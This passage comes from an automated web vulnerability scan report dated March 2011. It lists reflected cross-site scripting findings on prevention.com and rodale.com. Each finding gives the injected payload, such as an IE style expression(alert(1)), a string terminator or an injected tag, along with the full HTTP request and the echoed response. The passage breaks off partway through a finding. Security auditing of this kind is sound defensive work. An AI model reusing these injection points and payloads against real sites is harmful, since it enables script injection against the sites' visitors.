The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8506b'style%3d'x%3aexpression(alert(1))'ca456ab48dc was submitted in the REST URL parameter 3. This input was echoed as 8506b'style='x:expression(alert(1))'ca456ab48dc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/health/health-concerns8506b'style%3d'x%3aexpression(alert(1))'ca456ab48dc/cold-flu HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1798
Date: Thu, 10 Mar 2011 17:05:59 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 76868

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

<titl
...[SNIP]...
<input type='hidden' id='category_core' value='Health-Health Concerns8506b'style='x:expression(alert(1))'ca456ab48dc-Cold Flu'>
...[SNIP]...

2.117. http://www.prevention.com/health/health/health-concerns/cold-flu [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/health/health-concerns/cold-flu

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8c7db'%3b359e302bdd was submitted in the REST URL parameter 3. This input was echoed as 8c7db';359e302bdd in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/health/8c7db'%3b359e302bdd/cold-flu HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1798
Date: Thu, 10 Mar 2011 17:07:05 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 75295

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

   <titl
...[SNIP]...
<script language="javascript">
                                       gSiteLife.SummaryBlogsRecentPostsByTag(3, '8c7db';359e302bdd')
                                   </script>
...[SNIP]...

2.118. http://www.prevention.com/health/health/health-concerns/cold-flu [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/health/health-concerns/cold-flu

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f7759'style%3d'x%3aexpression(alert(1))'1a2d5b8c257 was submitted in the REST URL parameter 4. This input was echoed as f7759'style='x:expression(alert(1))'1a2d5b8c257 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/health/health-concerns/cold-fluf7759'style%3d'x%3aexpression(alert(1))'1a2d5b8c257 HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1796
Date: Thu, 10 Mar 2011 17:08:32 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 78626

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

<titl
...[SNIP]...
<input type='hidden' id='category_core' value='Health-Health Concerns-Cold Fluf7759'style='x:expression(alert(1))'1a2d5b8c257'>
...[SNIP]...

2.119. http://www.prevention.com/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 81c81'style%3d'x%3aexpression(alert(1))'b51fcab1079 was submitted in the REST URL parameter 3. This input was echoed as 81c81'style='x:expression(alert(1))'b51fcab1079 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/health/healthy-living81c81'style%3d'x%3aexpression(alert(1))'b51fcab1079/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:06:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 91462

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<input type='hidden' id='category_core' value='Health-Healthy Living81c81'style='x:expression(alert(1))'b51fcab1079'>
...[SNIP]...

2.120. http://www.prevention.com/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1fd48'%3b522e0195e8a was submitted in the REST URL parameter 3. This input was echoed as 1fd48';522e0195e8a in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/health/healthy-living1fd48'%3b522e0195e8a/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:07:09 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 92258

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/health/healthy-living1fd48';522e0195e8a/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.121. http://www.prevention.com/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____ [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b9f35'%3be400bf10631 was submitted in the REST URL parameter 4. This input was echoed as b9f35';e400bf10631 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tipsb9f35'%3be400bf10631/article/16ee7ede8d77e210VgnVCM10000030281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:07:39 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 89394

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tipsb9f35';e400bf10631/article/16ee7ede8d77e210VgnVCM10000030281eac____&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.122. http://www.prevention.com/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____ [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f194c'style%3d'x%3aexpression(alert(1))'ba472fc708f was submitted in the REST URL parameter 5. This input was echoed as f194c'style='x:expression(alert(1))'ba472fc708f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/articlef194c'style%3d'x%3aexpression(alert(1))'ba472fc708f/16ee7ede8d77e210VgnVCM10000030281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1791
Date: Thu, 10 Mar 2011 17:08:47 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 75725

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

<titl
...[SNIP]...
<input type='hidden' id='category_core' value='Health-Healthy Living-Carrie Ann Inaba S Health And Fitness Tips-Articlef194c'style='x:expression(alert(1))'ba472fc708f'>
...[SNIP]...

2.123. http://www.prevention.com/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____ [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4a849'%3bdc5a47a7224 was submitted in the REST URL parameter 6. This input was echoed as 4a849';dc5a47a7224 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____4a849'%3bdc5a47a7224 HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:10:11 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 89430

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____4a849';dc5a47a7224&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.124. http://www.prevention.com/health/health/healthy-living/pets [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/health/healthy-living/pets

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f7680'style%3d'x%3aexpression(alert(1))'535658b746c was submitted in the REST URL parameter 3. This input was echoed as f7680'style='x:expression(alert(1))'535658b746c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/health/healthy-livingf7680'style%3d'x%3aexpression(alert(1))'535658b746c/pets HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1792
Date: Thu, 10 Mar 2011 17:06:08 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 76723

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

<titl
...[SNIP]...
<input type='hidden' id='category_core' value='Health-Healthy Livingf7680'style='x:expression(alert(1))'535658b746c-Pets'>
...[SNIP]...

2.125. http://www.prevention.com/health/health/healthy-living/pets [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/health/healthy-living/pets

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5a583'%3bb7f1ba5e29d was submitted in the REST URL parameter 3. This input was echoed as 5a583';b7f1ba5e29d in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/health/5a583'%3bb7f1ba5e29d/pets HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1793
Date: Thu, 10 Mar 2011 17:07:08 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 75222

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

   <titl
...[SNIP]...
<script language="javascript">
                                       gSiteLife.SummaryBlogsRecentPostsByTag(3, '5a583';b7f1ba5e29d')
                                   </script>
...[SNIP]...

2.126. http://www.prevention.com/health/health/healthy-living/pets [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/health/healthy-living/pets

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d779c'style%3d'x%3aexpression(alert(1))'8435d74058d was submitted in the REST URL parameter 4. This input was echoed as d779c'style='x:expression(alert(1))'8435d74058d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/health/healthy-living/petsd779c'style%3d'x%3aexpression(alert(1))'8435d74058d HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1795
Date: Thu, 10 Mar 2011 17:08:28 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 77836

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

<titl
...[SNIP]...
<input type='hidden' id='category_core' value='Health-Healthy Living-Petsd779c'style='x:expression(alert(1))'8435d74058d'>
...[SNIP]...

2.127. http://www.prevention.com/health/news-voices/videos [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/news-voices/videos

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dbe72'%3b67a313e6d5a was submitted in the REST URL parameter 3. This input was echoed as dbe72';67a313e6d5a in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/news-voices/videosdbe72'%3b67a313e6d5a HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1795
Date: Thu, 10 Mar 2011 17:06:45 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 71224

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

   <titl
...[SNIP]...
<script language="javascript">
                                       gSiteLife.SummaryBlogsRecentPostsByTag(3, 'videosdbe72';67a313e6d5a')
                                   </script>
...[SNIP]...

2.128. http://www.prevention.com/health/news-voices/videos [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/news-voices/videos

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload fcd4e'style%3d'x%3aexpression(alert(1))'c11f3ed341d was submitted in the REST URL parameter 3. This input was echoed as fcd4e'style='x:expression(alert(1))'c11f3ed341d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/news-voices/videosfcd4e'style%3d'x%3aexpression(alert(1))'c11f3ed341d HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1795
Date: Thu, 10 Mar 2011 17:05:49 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 72150

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

<titl
...[SNIP]...
<input type='hidden' id='category_core' value='News Voices-Videosfcd4e'style='x:expression(alert(1))'c11f3ed341d'>
...[SNIP]...

2.129. http://www.rodale.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7490"><a>1d3c29527fc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /?a7490"><a>1d3c29527fc=1 HTTP/1.1
Host: www.rodale.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 16:43:51 GMT
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 17:43:53 GMT
Date: Thu, 10 Mar 2011 16:43:53 GMT
Connection: close
Content-Length: 31974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/?a7490"><a>1d3c29527fc=1" title="Register" class="moreLink">
...[SNIP]...

2.130. http://www.rodale.com/1,6597,8-114,00.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/1,6597,8-114,00.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d818"><a>1374216a76b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /1,6597,8-114,00.html9d818"><a>1374216a76b HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:44 GMT
Date: Thu, 10 Mar 2011 17:20:44 GMT
Content-Length: 22482
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page 1,6597,8-114,00.html9d818"><a>1374216a76b node node-958">
...[SNIP]...

2.131. http://www.rodale.com/1,6597,8-114,00.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/1,6597,8-114,00.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ceb32"><a>698f26de323 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /1,6597,8-114,00.html?ceb32"><a>698f26de323=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:59 GMT
Date: Thu, 10 Mar 2011 17:19:59 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/1,6597,8-114,00.html?ceb32"><a>698f26de323=1" title="Register" class="moreLink">
...[SNIP]...

2.132. http://www.rodale.com/benefits-walking [REST URL parameter 1] previous next

Summary

Severity:	High
